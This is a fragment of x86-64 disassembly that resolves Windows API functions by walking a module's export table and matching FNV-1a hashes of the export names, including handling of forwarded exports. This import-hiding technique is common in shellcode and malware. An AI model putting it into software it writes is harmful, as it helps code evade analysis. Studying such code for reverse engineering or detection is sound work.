je 0x14008f3c5
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14008f3c5
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r14 + r8*4]
mov eax, dword [rax + r10]
add rax, r10
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x14008f317
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x14008f300
cmp edx, r11d
je 0x14008f326
test r8d, r8d
jne 0x14008f2e0
jmp 0x14008f3c5
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov edx, dword [rcx + rdx*4]
add rdx, r10
cmp rdx, rdi
jbe 0x14008f3dd
lea rax, [r15 + rdi]
cmp rdx, rax
jae 0x14008f3dd
movzx eax, byte [rdx]
mov r9d, 0x811c9dc5
mov dword [rbp + 8], r9d
mov ecx, r9d
mov dword [rbp + 0xc], ecx
cmp al, 0x2e
je 0x14008f38b
nop word [rax + rax]
movsx eax, al
inc rdx
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14008f370
mov dword [rbp + 8], r9d
movzx eax, byte [rdx + 1]
inc rdx
test al, al
je 0x14008f3b9
nop word [rax + rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
test al, al
jne 0x14008f3a0
mov dword [rbp + 0xc], ecx
mov r11, qword [rbp + 8]
mov rsi, qword [r12]
shr r11, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14008f3db
cmp qword [rax + 0x30], 0
jne 0x14008f240
xor edx, edx
mov qword [0x140293eb0], rdx
mov rcx, qword [rbp + 0x1a0]
call rdx
xor eax, eax
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.140106b10
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret